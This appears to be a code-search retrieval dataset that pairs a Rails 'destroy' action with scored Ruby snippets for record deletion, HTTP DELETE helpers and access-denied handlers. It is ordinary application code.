[ { "docid": "c2263ad44215be6bd819efe9237ac7f8", "score": "0.7003727", "text": "def destroy\n @print.destroy\n respond_with :prints\n end", "title": "" } ]
[ { "docid": "1faf63121da190fe7dc5fe39fd26e6ee", "score": "0.7362889", "text": "def destroy\n @print.destroy\n respond_to do |format|\n format.html { redirect_to prints_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1faf63121da190fe7dc5fe39fd26e6ee", "score": "0.7362889", "text": "def destroy\n @print.destroy\n respond_to do |format|\n format.html { redirect_to prints_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b1a17c1ee1af05c79fe156622df44818", "score": "0.7105592", "text": "def delete(path)\n begin\n response = client[path].delete :accept => 'application/json'\n rescue Exception => e\n puts e.inspect\n end\n end", "title": "" }, { "docid": "0997d41ec6a1f39a178a61ccaa6807d2", "score": "0.70897174", "text": "def destroy\n @sprint = Sprint.find(params[:id])\n @sprint.destroy\n\n respond_to do |format|\n format.html { redirect_to sprints_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0997d41ec6a1f39a178a61ccaa6807d2", "score": "0.70897174", "text": "def destroy\n @sprint = Sprint.find(params[:id])\n @sprint.destroy\n\n respond_to do |format|\n format.html { redirect_to sprints_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0997d41ec6a1f39a178a61ccaa6807d2", "score": "0.70897174", "text": "def destroy\n @sprint = Sprint.find(params[:id])\n @sprint.destroy\n\n respond_to do |format|\n format.html { redirect_to sprints_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f5d05623eba7fcdee02a6e55cf7ba7b1", "score": "0.70430726", "text": "def destroy\n @reference_print = ReferencePrint.find(params[:id])\n @reference_print.destroy\n\n respond_to do |format|\n format.html { redirect_to reference_prints_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "75a785bddc2252b3dfe08070dcb44399", "score": "0.69569844", "text": "def delete(args)\n if args[:json]\n post(args.merge(method: :delete))\n else\n get(args.merge(method: :delete))\n end\n end", "title": "" }, { "docid": "9bbd814d6bf3462afe8033cd63f4f9b0", "score": "0.69034624", "text": "def destroy\n @print.destroy\n respond_to do |format|\n format.html { redirect_to prints_url, notice: 'Survey was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b445c184893647d3482f8fbc6a507a52", "score": "0.68934774", "text": "def delete(path, params = {})\n path += '.json'\n res = @connection.delete(path, @header)\n parse_response(res)\n end", "title": "" }, { "docid": "9106867cee9e8775ba817195d3bc2020", "score": "0.68887687", "text": "def delete_rest(path) \n run_request(:DELETE, create_url(path)) \n end", "title": "" }, { "docid": "47a3c9c28e1fcd0fcae5ea58416b42bd", "score": "0.68561435", "text": "def delete(path)\n api :delete, path\n end", "title": "" }, { "docid": "a07d6fe00978c0f3745ab15b8f75b5e7", "score": "0.6831649", "text": "def destroy\n @lineatprint.destroy\n respond_to do |format|\n format.html { redirect_to lineatprints_url, notice: 'Lineatprint was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c53a7ddfb5f66bdab62b1fc4305a0473", "score": "0.6796718", "text": "def delete *args\n make_request :delete, *args\n end", "title": "" }, { "docid": "d99807d8e224d22ca317693b539721af", "score": "0.678841", "text": "def destroy\n @printer = Printer.find(params[:id])\n @printer.destroy\n\n respond_to do |format|\n format.html { redirect_to printers_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d99807d8e224d22ca317693b539721af", "score": "0.678841", "text": "def destroy\n @printer = Printer.find(params[:id])\n @printer.destroy\n\n respond_to do |format|\n format.html { redirect_to printers_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d99807d8e224d22ca317693b539721af", "score": "0.678841", "text": "def destroy\n @printer = Printer.find(params[:id])\n @printer.destroy\n\n respond_to do |format|\n format.html { redirect_to printers_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "aacae9662484c04296bdd86e015fbc27", "score": "0.67700815", "text": "def destroy\n\t\t@sprint = Sprint.find(params[:id])\n\t\t@sprint.destroy\n\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to sprints_url }\n\t\t\tformat.json { head :ok }\n\t\tend\n\tend", "title": "" }, { "docid": "09f6303f18ce5612216026bdd448d644", "score": "0.6727071", "text": "def api_delete(path)\n api_request(Net::HTTP::Delete.new(path))\n end", "title": "" }, { "docid": "6a19ba99f0d1f7225b5ed73fe068136d", "score": "0.668253", "text": "def delete(path, params: {}, headers: {})\n request_json :delete, path, params, headers\n end", "title": "" }, { "docid": "0ebffde344961536b2777c202eeb0917", "score": "0.66742736", "text": "def destroy\n @print_section.destroy\n respond_to do |format|\n format.html { redirect_to print_sections_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "57b799133d29316426c358002043baa2", "score": "0.6663127", "text": "def delete_rest(path, headers={}) \n run_request(:DELETE, create_url(path), headers) \n end", "title": "" }, { "docid": "f41244c3ec7ae09631dac29be25c4163", "score": "0.6648584", "text": "def destroy\n @sprint = Sprint.find(params[:id])\n @sprint.destroy\n\n respond_to do |format|\n format.html { redirect_to(sprints_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "ba67ebd85114998e01be10599c8943ca", "score": "0.66475254", "text": "def delete(path)\n RestClient.delete request_base+path\n end", "title": "" }, { "docid": "0387aa3c568d857184e97a214e580a14", "score": "0.6628505", "text": "def delete(path, params = {}, payload = {})\n JSON.parse Generic.delete(@base_url, @headers, path, params, payload)\n end", "title": "" }, { "docid": "9a78bb9fefcbf77442ad33344f71290f", "score": "0.6616766", "text": "def destroy\n @print = Print.find(params[:id])\n @print.destroy\n\n # Redirect it to the index page.\n redirect_to action: \"index\"\n end", "title": "" }, { "docid": "6ad8fd5bb1b2845c942d0271dac8050e", "score": "0.6616144", "text": "def destroy\n @print_queue = PrintQueue.find(params[:id])\n @print_queue.destroy\n\n respond_to do |format|\n format.html { redirect_to print_queues_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "174b723f9e43bfa7501a9cdc389e4c1b", "score": "0.6608297", "text": "def delete\n @response = self.class.delete(\"#{@server_uri}/resource_name/#{@opts[:id]}.json\")\n end", "title": "" }, { "docid": "6c537b3a0008ef6459c518123cbcc9d5", "score": "0.65601724", "text": "def delete(path, params = {})\n request :delete, path, params\n end", "title": "" }, { "docid": "c0e04e7b24575da23f7965e8dad6e32c", "score": "0.6555193", "text": "def delete(path, params = {})\n request(:delete, path, params)\n end", "title": "" }, { "docid": "6dcac3fa5c19ede06031842565726def", "score": "0.6554644", "text": "def destroy\n @sprint.destroy\n respond_to do |format|\n format.html { redirect_to sprints_url, notice: 'Sprint was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6dcac3fa5c19ede06031842565726def", "score": "0.65532035", "text": "def destroy\n @sprint.destroy\n respond_to do |format|\n format.html { redirect_to sprints_url, notice: 'Sprint was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "00c90bc63b0302afbbc4b2979ae20b57", "score": "0.6552748", "text": "def api_delete(path, data = {})\n api_request(:delete, path, :data => data).parsed\n end", "title": "" }, { "docid": "493437aa72dbee2ca3349843fee29a63", "score": "0.65524936", "text": "def destroy\n @sprint.destroy\n respond_to do |format|\n format.html {redirect_to sprints_url, notice: 'Sprint was successfully destroyed.'}\n format.json {head :no_content}\n end\n end", "title": "" }, { "docid": "fdfa5f023a5b91de7150a7231284ceb6", "score": "0.65519494", "text": "def delete(name)\n validate_path_elements(name)\n\n client.request(\n method: :delete,\n path: name,\n expected: 204\n )\n end", "title": "" }, { "docid": "773e5d611adeb09776f9c841e1b876cc", "score": "0.6546032", "text": "def delete_json(path, params = {}, headers = {})\n json_request(:delete, path, params, headers)\n end", "title": "" }, { "docid": "3ccd2fbecbaa95071b33c865c59c07fc", "score": "0.6533245", "text": "def delete(*args)\n RubyKong::Request::Api.delete args[0]\n end", "title": "" }, { "docid": "cfdd46347708663efe0fafa77f292f46", "score": "0.65294474", "text": "def destroy\n @print_option.destroy\n respond_to do |format|\n format.html { redirect_to print_options_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "20c97a81d0efb0e6df28dd6a6855f2db", "score": "0.65156615", "text": "def delete(*a) route 'DELETE', *a end", "title": "" }, { "docid": "9f6d505da6f520b687fca715532e4be0", "score": "0.65139264", "text": "def destroy\n @rest = Rest.find(params[:id])\n @rest.destroy\n\n respond_to do |format|\n format.html { redirect_to @rest.report, notice: t(\"activerecord.models.rest\") + t(\"message.destroy\") }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "fffde02267fb30bf49c83673505c1974", "score": "0.6505321", "text": "def destroy\n @blueprint.destroy\n respond_to do |format|\n format.html { redirect_to blueprints_url, notice: 'Blueprint was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "718fd485f95a30a8c897e2403defb29f", "score": "0.64922035", "text": "def delete(path, params={}); make_request(:delete, host, port, path, params); end", "title": "" }, { "docid": "8bae745ccc58daf74722ee242016f26f", "score": "0.64901066", "text": "def destroy\n @print_purchase_order = PrintPurchaseOrder.find(params[:id])\n @print_purchase_order.destroy\n\n respond_to do |format|\n format.html { redirect_to print_purchase_orders_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "822ddea2e45bf78350003645efcbdb54", "score": "0.6486148", "text": "def delete uri, args = {}; Request.new(DELETE, uri, args).execute; end", "title": "" }, { "docid": "7452c4d15daf08108aaa5a1b728adb31", "score": "0.64622015", "text": "def destroy\n @json.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "ff46341d71f9a00c00c6101479ceef0c", "score": "0.6462186", "text": "def rest_delete(path, options = {}, api_ver = @api_version)\n rest_api(:delete, path, options, api_ver)\n end", "title": "" }, { "docid": "ff46341d71f9a00c00c6101479ceef0c", "score": "0.6462186", "text": "def rest_delete(path, options = {}, api_ver = @api_version)\n rest_api(:delete, path, options, api_ver)\n end", "title": "" }, { "docid": "bbed65774f9489c73d250b9e57131b95", "score": "0.6461163", "text": "def delete(path)\n request(:delete, path)\n end", "title": "" }, { "docid": "bbed65774f9489c73d250b9e57131b95", "score": "0.6461163", "text": "def delete(path)\n request(:delete, path)\n end", "title": "" }, { "docid": "114202d509f2ca5cdf9d2483f8cb0a9c", "score": "0.64573723", "text": "def delete(url, *args)\n handle_rest_client_exceptions do\n rest_client_resource(url).delete(*args)\n end\n end", "title": "" }, { "docid": "755e02d81da0ea20924b9f3058ba766e", "score": "0.64527977", "text": "def destroy\n @digom.destroy\n respond_to do |format|\n format.html { redirect_to digoms_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9410f5d5c06a5d4acee3b61e4f080658", "score": "0.64472973", "text": "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "title": "" }, { "docid": "9410f5d5c06a5d4acee3b61e4f080658", "score": "0.64472973", "text": "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "title": "" }, { "docid": "9410f5d5c06a5d4acee3b61e4f080658", "score": "0.64472973", "text": "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "title": "" }, { "docid": "feb05fa712cede2232b7a79bf0cdeb56", "score": "0.644394", "text": "def delete\n render json: Entry.delete(params[\"id\"])\n end", "title": "" }, { "docid": "b2834e6124c920737809b7669107f8b2", "score": "0.6439711", "text": "def delete(path, params={})\n request(:delete, path, params)\n end", "title": "" }, { "docid": "b2834e6124c920737809b7669107f8b2", "score": "0.6439711", "text": "def delete(path, params={})\n request(:delete, path, params)\n end", "title": "" }, { "docid": "b2834e6124c920737809b7669107f8b2", "score": "0.6439711", "text": "def delete(path, params={})\n request(:delete, path, params)\n end", "title": "" }, { "docid": "b2834e6124c920737809b7669107f8b2", "score": "0.6439711", "text": "def delete(path, params={})\n request(:delete, path, params)\n end", "title": "" }, { "docid": "b2834e6124c920737809b7669107f8b2", "score": "0.6439711", "text": "def delete(path, params={})\n request(:delete, path, params)\n end", "title": "" }, { "docid": "b2834e6124c920737809b7669107f8b2", "score": "0.6439711", "text": "def delete(path, params={})\n request(:delete, path, params)\n end", "title": "" }, { "docid": "b2834e6124c920737809b7669107f8b2", "score": "0.6439711", "text": "def delete(path, params={})\n request(:delete, path, params)\n end", "title": "" }, { "docid": "121d3dde1170ddcc7ce3f4272c13ea90", "score": "0.6437637", "text": "def delete(path, params = {})\n request(:delete, path, params)\n end", "title": "" }, { "docid": "121d3dde1170ddcc7ce3f4272c13ea90", "score": "0.6437637", "text": "def delete(path, params = {})\n request(:delete, path, params)\n end", "title": "" }, { "docid": "121d3dde1170ddcc7ce3f4272c13ea90", "score": "0.6437637", "text": "def delete(path, params = {})\n request(:delete, path, params)\n end", "title": "" }, { "docid": "121d3dde1170ddcc7ce3f4272c13ea90", "score": "0.6437637", "text": "def delete(path, params = {})\n request(:delete, path, params)\n end", "title": "" }, { "docid": "121d3dde1170ddcc7ce3f4272c13ea90", "score": "0.6437637", "text": "def delete(path, params = {})\n request(:delete, path, params)\n end", "title": "" }, { "docid": "e4d577130f2ab81066fe39b95180b96d", "score": "0.64303404", "text": "def delete(args)\n url = build_url(args[:endpoint], args[:subs], args[:parameters])\n HTTParty.delete(url, headers: args[:headers], query: args[:query])\n end", "title": "" }, { "docid": "167a3282811b02ace5a02442d4629fe9", "score": "0.6421093", "text": "def destroy\n @asset = Printer.find(params[:id])\n asset_destroy(printers_url)\n end", "title": "" }, { "docid": "12b055f187606b2813628811c2cc93ea", "score": "0.64158875", "text": "def destroy\n\tputs \"destroy\"\n @resource = Resource.find(params[:id])\n @resource.destroy\n\n respond_to do |format|\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d110b0274dfc7b1752c3427682cb5539", "score": "0.6410235", "text": "def delete(path, **args)\n process(:delete, path, **args)\n end", "title": "" }, { "docid": "5cbd9400cd001af247f9c442e902d68d", "score": "0.64072454", "text": "def delete(path)\n send_request(:delete, :path => path)\n end", "title": "" }, { "docid": "8066b7ca6616d0d44296212f78ff5a08", "score": "0.6399712", "text": "def destroy\n @snap = Snap.find(params[:id])\n @snap.destroy\n\n respond_to do |format|\n format.html { redirect_to snaps_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1160b7ad0cedf99a741d631fad6b2317", "score": "0.63959026", "text": "def destroy\n @sprint_activity.destroy\n respond_to do |format|\n format.html { redirect_to sprint_activities_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "419097c1c4a142adaf725a2112822e8e", "score": "0.63928306", "text": "def delete\n request_method('DELETE')\n end", "title": "" }, { "docid": "6e23f5cc04177e48d2441dc9b5240648", "score": "0.638928", "text": "def destroy\n @sprint = Sprint.find(params[:id])\n @stories = @sprint.stories\n @stories.each do |story|\n story.update_attribute(:status_id , 4)\n end\n @sprint.destroy\n\n respond_to do |format|\n format.html { redirect_to alumno_sprints_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e358589110475eaa4e4fa8200344e1b8", "score": "0.63877094", "text": "def destroy\n @blueprint = Blueprint.find(params[:id])\n @blueprint.destroy\n\n respond_to do |format|\n format.html { redirect_to(blueprints_url) }\n format.xml { head :ok }\n format.js\n end\n end", "title": "" }, { "docid": "e5d22ba334505fa5482db7a2a61d1260", "score": "0.6385507", "text": "def destroy\n @printer = Printer.find(params[:id])\n @printer.destroy\n\n respond_to do |format|\n format.html { redirect_to(printers_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "16e30794baf8b27c8464378c5f0a600d", "score": "0.6383169", "text": "def destroy\n @produce = Produce.find(params[:id])\n @produce.destroy\n\n respond_to do |format|\n format.html { redirect_to produces_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "eb17bb60f85d952738360f55504fbf9e", "score": "0.6373254", "text": "def delete(path, opts = {})\n request(:delete, path, opts)\n end", "title": "" }, { "docid": "07606f670417d4e04784d2a51f28e3f9", "score": "0.63722414", "text": "def destroy\n print_params(params)\n @skateboard = Skateboard.find(params[:id])\n @skateboard.destroy\n\n respond_to do |format|\n format.html { redirect_to skateboards_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "661e2e82e4ab6ab4971d46291a74aad4", "score": "0.637075", "text": "def destroy\n @fine_print.destroy\n respond_to do |format|\n format.html { redirect_to fine_prints_url, notice: 'Fine print was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c04ca6f87ae855b39717250362c1c83f", "score": "0.6368354", "text": "def destroy\n @print_job = PrintJob.find(params[:id])\n @print_job.destroy\n\n respond_to do |format|\n format.html { redirect_to(print_jobs_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "e3ea90f717278b79d8908e5b537926be", "score": "0.63598996", "text": "def delete(path)\n client.delete(\"/v1/#{encode_path(path)}\")\n return true\n end", "title": "" }, { "docid": "30958c7f5ab6ab84a5ee4d3138729310", "score": "0.6358261", "text": "def destroy\n @dump.destroy\n respond_to do |format|\n format.html { redirect_to dumps_url, notice: 'Dump was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "179ff0053e8f4f967cb3d92206094cf0", "score": "0.6351333", "text": "def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend", "title": "" }, { "docid": "7b02318f25fe6d516befaf9e50ec4bc0", "score": "0.63443196", "text": "def destroy\n @board_sprint.destroy\n respond_to do |format|\n format.html { redirect_to board_sprints_url, notice: 'Board sprint was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4782c1aa1fececc1c4a80f575c983c4c", "score": "0.6342673", "text": "def destroy\n @snapshot = Snapshot.find(params[:id])\n @snapshot.destroy\n\n respond_to do |format|\n format.html { redirect_to @snapshot.url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4d38ce98ee6d4ace9d7329979e2ab718", "score": "0.6337158", "text": "def delete_command(args)\n id = args.pop\n \n return if !global_parameters_load(args)\n\n begin\n doc = Vuzit::Document.destroy(id)\n puts \"DELETED: #{id}\"\n rescue Vuzit::ClientException => ex\n error \"Error occurred: #{ex.code}, #{ex.message}\" \n end\nend", "title": "" }, { "docid": "a41be49f6458790d5a2d38db09348203", "score": "0.6335096", "text": "def destroy\n require 'net/http'\n require 'json'\n\n # Correct URL for deleting a resource.\n uri = URI(\"http://localhost:3000/students/#{params[:id]}.json\")\n\n request = Net::HTTP::Delete.new uri\n\n # Hitting the endpoint.\n response = Net::HTTP.start uri.hostname, uri.port do |http|\n http.request request\n end\n\n if response.code == '200'\n redirect_to students_path, notice: 'Successfully removed record.'\n else\n redirect_to students_path, notice: 'Failed to delete.'\n end\n end", "title": "" }, { "docid": "73ab40a9c6bc1f467aff5b0a653ed98f", "score": "0.6333901", "text": "def destroy\n @sprint = Sprint.find(params[:sprint_id])\n @progress = Progress.find(params[:id])\n @progress.destroy\n\n respond_to do |format|\n format.html { redirect_to([@sprint, @progress]) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "3633e737644dae5f5d8d49f3248f7a12", "score": "0.63261825", "text": "def delete\n api(\"Delete\")\n end", "title": "" }, { "docid": "b530d57fd1601db5fe49d269dfac029f", "score": "0.6324129", "text": "def delete_rest_call(path, params = nil)\n uri = URI.parse('#{@base_url}#{path}')\n req_path = uri.path\n if params\n uri.query = URI.encode_www_form(params)\n req_path = '#{uri.path}?#{uri.query}'\n end\n request = Net::HTTP::Delete.new(req_path)\n return JSON.parse(send_request(request, uri).body)\n end", "title": "" }, { "docid": "76693ccc0e1d8fa3083ee06dbf9cbd02", "score": "0.63237226", "text": "def delete(path:, params: {})\n handle_preconditions do\n puts \"DELETE\"\n request(method: :delete, path: path, params: params, headers: @headers)\n end\n end", "title": "" }, { "docid": "b25364ad37d653826b6f30775f50babc", "score": "0.6318349", "text": "def destroy\n operations_check = OperationsCheck.find(params[:operations_check_id])\n @printer_check = PrinterCheck.find(params[:id])\n @printer_check.destroy\n\n respond_to do |format|\n format.html { redirect_to operations_check_path(operations_check.id, tab:\"printers\") }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b43308c160805550636b86e61b03570e", "score": "0.63173693", "text": "def destroy\n @press_line = PressLine.find(params[:id])\n @press_line.destroy\n\n respond_to do |format|\n format.html { redirect_to(press_lines_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "a71226e00223e51ce53c72037cb3d81f", "score": "0.6315754", "text": "def destroy\n @stress_report = StressReport.find(params[:id])\n @stress_report.destroy\n\n respond_to do |format|\n format.html { redirect_to stress_reports_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "33ae3fbaabb68170de9f95477c22d5d1", "score": "0.6315484", "text": "def delete_json(path)\n retries = 0\n begin\n return resource(path).delete()\n rescue => e\n if e.kind_of?(RestClient::Exception) and e.http_code == 503 and retries < RETRY_503_MAX\n # the G5K REST API sometimes fail with error 503. In that case we should just wait and retry\n puts(\"G5KRest: DELETE #{path} failed with error 503, retrying after #{RETRY_503_SLEEP} seconds\")\n retries += 1\n sleep RETRY_503_SLEEP\n retry\n end\n handle_exception(e)\n end\n end", "title": "" }, { "docid": "0f32e313dd340185654ae79821d37f9d", "score": "0.63129556", "text": "def delete(path)\n http_execute(Net::HTTP::Delete.new(path))\n end", "title": "" }, { "docid": "fc803cfe304ababe7b6cdfe6f31e6721", "score": "0.6310911", "text": "def destroy\n @sprint = @project.sprints.find(params[:id])\n @sprint.destroy\n\n respond_to do |format|\n format.html { redirect_to sprints_url }\n end\n end", "title": "" } ]
ac4c77bc4818a608e034c946fea25bbd
Public: Called by declarative authorization if permission is denied for an action.
[ { "docid": "a3118cd19ab1d0fbe11e64644f72d53a", "score": "0.6663156", "text": "def permission_denied\n #flash.alert = \"Sorry! You are not allowed on that page.\"\n if current_user.present? && current_user.kind_of?(User)\n redirect_to dashboard_account_path\n else\n session[:unauthorized_url] = request.url\n redirect_to login_path\n end\n end", "title": "" } ]
[ { "docid": "2604dbbd9276824cd58210df073af4c5", "score": "0.80248266", "text": "def permission_denied\n raise Authorization::NotAuthorized\n end", "title": "" }, { "docid": "dd858b375b764d3dd56581b0561cb6d9", "score": "0.7963115", "text": "def denied\r\n handle_permission_denied\r\n end", "title": "" }, { "docid": "a0006b56e0dc9050964840d0d8ee7f9e", "score": "0.7730516", "text": "def permission_denied\n raise PermissionDenied\n end", "title": "" }, { "docid": "716edf9513e58222ec83781e89a11ba1", "score": "0.7637451", "text": "def call_denied_action exception=nil\n exception.handler.denied_action self\n end", "title": "" }, { "docid": "93880e9b00e074f195a89699e5747c71", "score": "0.7561995", "text": "def access_denied\n end", "title": "" }, { "docid": "01a64646f46d2f19b51241b1b3c60e76", "score": "0.7517484", "text": "def access_denied!\n false\n end", "title": "" }, { "docid": "ade763fe8dfc5621f09ea2c5b24e6df7", "score": "0.7506273", "text": "def hyves_access_denied\n access_denied\n end", "title": "" }, { "docid": "56539e74665c00f7f89acdf660c8ff6f", "score": "0.7494925", "text": "def log_permission_denied\n end", "title": "" }, { "docid": "cd591804ed6e3b39fb4ea1f92ab77dda", "score": "0.7438605", "text": "def denied\n end", "title": "" }, { "docid": "cd591804ed6e3b39fb4ea1f92ab77dda", "score": "0.7438605", "text": "def denied\n end", "title": "" }, { "docid": "78bd6e94927bc482aa84ba48bda2ab11", "score": "0.74340945", "text": "def access_denied(message); raise AccessDenied, message; end", "title": "" }, { "docid": "2266cb22951ea4e6bf7f62e702105950", "score": "0.7409328", "text": "def access_denied\n raise AccessDenied\n end", "title": "" }, { "docid": "5b75c3a6d65dfc0a03b0a6dace0fa7e2", "score": "0.73637664", "text": "def permission_denied\n \n flash[:notice] = tmessage(\"declarative_authorization.unauthorised\", $W )\n redirect_to root_path\nend", "title": "" }, { "docid": "05a15806914c137027353b8b6e29bea7", "score": "0.73498285", "text": "def access_denied\n return render(text: 'access_denied: requires a role')\n end", "title": "" }, { "docid": "404e5fd52e8fdbb7a8815257e5f14250", "score": "0.7346013", "text": "def action_authorized!\n return crud_delegation! if self.class.crud_delegation\n\n case error = respond_to?(\"#{@action}?\") ? __send__(\"#{@action}?\") : any?\n when Symbol, String then raise Auror::UnauthorizedAction, error_lang_string(error)\n when false\n human_name = @resource.class.human_name.humanize(capitalize: false)\n\n raise Auror::UnauthorizedAction, \"You are not authorized to #{@action} this #{human_name}.\"\n end\n end", "title": "" }, { "docid": "81ac8968513d1d66d0202af0f480584c", "score": "0.7326914", "text": "def permission_denied\n redirect_to(permission_denied_path)\n end", "title": "" }, { "docid": "1b84bb2620396b642ee2229156dcbd9d", "score": "0.7320354", "text": "def permission_denied\n flash[:error] = \"You don't have permission to do that\"\n render text: flash[:error], status: 403\n end", "title": "" }, { "docid": "ba16d8293653838d764f4b56c3ead8a5", "score": "0.72785896", "text": "def permissionDenied()\n # EG: say( \"#{@command_name}: permission denied\" )\n # say( \"permission denied\" )\n end", "title": "" }, { "docid": "112471a3aecd00ab637d9e487cd8c86d", "score": "0.72313005", "text": "def authorise_action\n return true if action_authorised?\n\n raise_forbidden\n false\n end", "title": "" }, { "docid": "55dd3b7e1c08d736e174a9364ca3b051", "score": "0.7169187", "text": "def authorization_denied\n render :template => \"errors/authorization_denied\", :status => :forbidden\n end", "title": "" }, { "docid": "6ddb235e5346361fb62bff146627b89e", "score": "0.7169114", "text": "def on_permission_denied &blk\n self.permission_denied = blk\n end", "title": "" }, { "docid": "82758a83bf46ec9d6a8a022e049d401e", "score": "0.71648324", "text": "def access_denied\n @flash[:notice] = \"Permission denied.\"\n redirect_to :controller=>\"account\", :action =>\"access_denied\"\n end", "title": "" }, { "docid": "a9f033ee487ef5d45890448abff0e2db", "score": "0.7136322", "text": "def deny_access!\n raise Acl9::AccessDenied\n end", "title": "" }, { "docid": "267483d67806debd391839d73fcc47d3", "score": "0.7118779", "text": "def check_restricted_actions(action)\n if action && get_restricted_actions.include?(action.downcase)\n error_msg = \"Action (#{action}) is not allowed on this resource\"\n logger.error {error_msg}\n halt 403, error_msg\n end\n end", "title": "" }, { "docid": "81b3b3c2a99f124c391d56d6e206fc50", "score": "0.7105523", "text": "def process_action_authorize\n if skipped_authorize_action?\n access_denied(current_record, \"Do not have ability to #{action.inspect} [#{current_record.class.name}].\") unless can?(action, current_record)\n debug_message('<authorize action', \"authorizing skipped action #{action.inspect} on [#{current_record.class.name} id=#{current_record.id.inspect}].\") if debug?\n end\n end", "title": "" }, { "docid": "5c3f658fa1398271df02a806b0b44b57", "score": "0.71006596", "text": "def rescue_action(e)\n if e.is_a?(AuthenticatedSystem::SecurityError)\n access_denied!\n else\n super\n end\n end", "title": "" }, { "docid": "6d448e21aa4568ebfbc93ed4625e006b", "score": "0.7085878", "text": "def deny(action, resource, role, assert = nil)\n set_rule action, resource, role, assert, TYPE_DENY\n end", "title": "" }, { "docid": "b3aa214c994ed1cb988706b3883791e4", "score": "0.7068874", "text": "def deny_access!\n #raise Acl9::AccessDenied\n end", "title": "" }, { "docid": "c20e19921799b763f4cfc34b61dfbefb", "score": "0.7060366", "text": "def access_denied(exception)\n msg = \"You are not authorized to access the requested #{exception.subject.class}.\"\n display_alert(message: msg, target: Oops::ADMIN, level: :alert)\n end", "title": "" }, { "docid": "9ec050e346210ffc2f415e059d71614b", "score": "0.70577925", "text": "def access_denied\n render 'access_denied'\n end", "title": "" }, { "docid": "54d869a71c487c2e3e69d4d8a12feae9", "score": "0.70433515", "text": "def check_permissions\n render :action => 'permission_denied' unless authenticate\n end", "title": "" }, { "docid": "ed802f47eb3b7b1ce3345d49bc309e3f", "score": "0.7038092", "text": "def forbid(_action)\n # TODO\n end", "title": "" }, { "docid": "abede03995adb406dabb1005bc321a27", "score": "0.702927", "text": "def access_denied\n if user_signed_in?\n if current_user.role == 'Host' || current_user.role == 'Hostess'\n redirect_to :back\n flash[:warning] = \"Access Denied! Only Admin & Manager can access.\"\n end\n end\n end", "title": "" }, { "docid": "3448e10a7c124a4a3ea99dda06cf1df7", "score": "0.7027647", "text": "def enforce_privileges\n logger.debug \"Enforcing privileges on action (#{action_name})\"\n privilege_map = self.class.privilege_map\n\n # If no privilege is attached or no user is logged in then it is assumed\n # that action is accessible to everyone\n unless privilege_map.has_key? action_name.to_s and @logged_in_user\n logger.debug \"Aborting privilege enforcement - action not bound to privilege or user not logged in\"\n return true\n end\n\n has_privilege = @logged_in_user.role.privileges.where(\n name: privilege_map[action_name.to_s]\n ).size == 1\n unless has_privilege\n logger.debug \"User, #{@logged_in_user}, denied access to action, #{action_name}!\"\n render json: {'errors': ['User not allowed to perform action']}, status: 404\n return false\n end\n\n logger.debug \"User, #{@logged_in_user.username}, granted access to action, #{action_name}\"\n return true\n end", "title": "" }, { "docid": "b8411ced8cad0f5a168043662c79952d", "score": "0.7021639", "text": "def enforce_privileges\n logger.debug \"Enforcing privileges on action (#{action_name})\"\n privilege_map = self.class.privilege_map\n\n # If no privilege is attached or no user is logged in then it is assumed\n # that action is accessible to everyone\n unless privilege_map.key?(action_name.to_s) && @logged_in_user\n logger.debug 'Aborting privilege enforcement - action not bound to privilege or user not logged in'\n return true\n end\n\n has_privilege = @logged_in_user.role.privileges.where(\n name: privilege_map[action_name.to_s]\n ).size == 1\n unless has_privilege\n logger.debug \"User, #{@logged_in_user}, denied access to action, #{action_name}!\"\n render json: { 'errors': ['User not allowed to perform action'] }, status: :not_found\n return false\n end\n\n logger.debug \"User, #{@logged_in_user.username}, granted access to action, #{action_name}\"\n true\n end", "title": "" }, { "docid": "9591d2a864d991fdc30d1f2c89f611e8", "score": "0.69938505", "text": "def access_denied\n flash[:notice] = \"You don't have the right to access this page\"\n redirect_to auth_url(:action => 'denied')\n 